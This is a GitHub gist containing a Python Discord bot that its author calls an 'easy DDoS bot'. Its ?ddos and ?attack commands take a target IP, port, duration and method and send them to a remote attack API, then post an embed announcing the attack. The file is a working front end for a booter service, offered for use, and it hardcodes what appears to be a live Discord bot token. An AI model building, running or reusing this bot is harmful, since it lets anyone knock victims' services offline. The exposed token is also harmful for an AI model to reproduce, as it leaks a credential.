Skip to content

Instantly share code, notes, and snippets.

@TestForCry
Created July 6, 2020 06:09
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save TestForCry/fc435c64cd7279a499a5e596059bc95e to your computer and use it in GitHub Desktop.
Save TestForCry/fc435c64cd7279a499a5e596059bc95e to your computer and use it in GitHub Desktop.
#!/usr/bin/python
import discord
from discord.ext import commands
import json, requests
import requests
import discord_webhook
import socket
import time
import subprocess
import sys, os
prefix = "?"
token = "NzI0NDE2NDI3NDAyMTk5MTMx.Xu_38g.624t5S7QOy59gG3cv7ExJiKJJf8"
icon = "https://i.imgur.com/Lpjzj2g.gif"
message_title = "__**test title**__"
attack_message = "TEST ATTACK SENT"
client = commands.Bot(command_prefix = prefix)
method_box = """
**-._.-=-._.-=-._.-=-._.--._.-=-._.-=-._.-=-._.-**
ddos <ip> <port> <time> <method>
ddos <ip> <port> <time> <method>
ddos <ip> <port> <time> <method>
ddos <ip> <port> <time> <method>
ddos <ip> <port> <time> <method>
ddos <ip> <port> <time> <method>
ddos <ip> <port> <time> <method>
**._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.**
"""
#api in line 60
@client.event
async def on_ready():
client.remove_command("help")
await client.change_presence(status=discord.Status.online, activity=discord.Game('?methods'))
print('DDoS bot active')
async def siodjfiojsfd(ctx, ip, port, time, method):
embed = discord.Embed(title=message_title, description=f"{attack_message}\nip : {ip}\nport : {port}\ntime : {time}\nmethod : {method}",color=0xFF0000)
embed.set_footer(text=f"{ctx.author.name} attacked an ip", icon_url=icon)
await ctx.send(embed=embed)
@client.command(aliases=['Stress', ' STRESS', 'ddos', 'boot', 'DDoS', 'Ddos', 'Boot', "attack", 'Attack', 'ATTACK'])
async def stress(ctx, ip, port, time, method):
BLACKLIST = requests.get('https://pastebin.com/raw/E1zv6gKm').text
if ip in BLACKLIST:
await ctx.send(f"Sorry, that IP is on the blacklist.")
limited = 1200
limit = int(time)
if limit > limited:
await ctx.send(f"Sorry, Max Attack Time is {limited}")
else:
attack_api = requests.get(f"https://google.com/api.php?key=waiting&host={ip}&port={port}&time={time}&method={method}").text
if 'error sent!' in attack_api:
await ctx.send("Attack Error Try Again")
else:
await siodjfiojsfd(ctx, ip, port, time, method)
@client.command(aliases=['methods', 'Methods'])
async def method(ctx):
embed = discord.Embed(title="__**METHODS**__",description=f'{method_box}', color=0xFF0000)
await ctx.send(embed=embed)
client.run(token)
#easy DDoS bot by bleach
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment